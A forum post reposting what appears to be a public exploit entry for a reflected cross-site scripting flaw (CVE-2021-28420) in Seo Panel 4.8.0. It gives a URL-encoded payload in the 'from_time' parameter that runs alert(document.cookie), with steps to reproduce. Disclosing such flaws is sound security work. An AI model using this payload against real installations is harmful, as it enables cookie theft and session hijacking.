This CHT Posted November 4, 2022 Group: The leader of the Content Count: 4,798 Achievement Points: 31,702 With Us For: 244 Days Status: Offline Last Seen: May 19 Device: Windows Share Posted November 4, 2022 # Exploit Title: Seo Panel 4.8.0 - 'from_time' Reflected XSS # Date: 23-03-2021 # Exploit Author: Piyush Patil # Vendor Homepage: https://www.seopanel.org/ # Version: Seo Panel 4.8.0 # Tested on: Windows 10 and Kali # CVE : CVE-2021-28420 -Description: A cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote attackers to inject JavaScript via alerts.php and the "from_time" parameter. -Payload used: x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22 -Steps to reproduce: 1- Login to SEO admin panel 2- Visit: http://localhost/alerts.php?alert_category=general&from_time=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&keyword=&to_time=2021-03-11 3- Hover your mouse to "Period" field Link to comment Share on other sites More sharing options...
Recommended Posts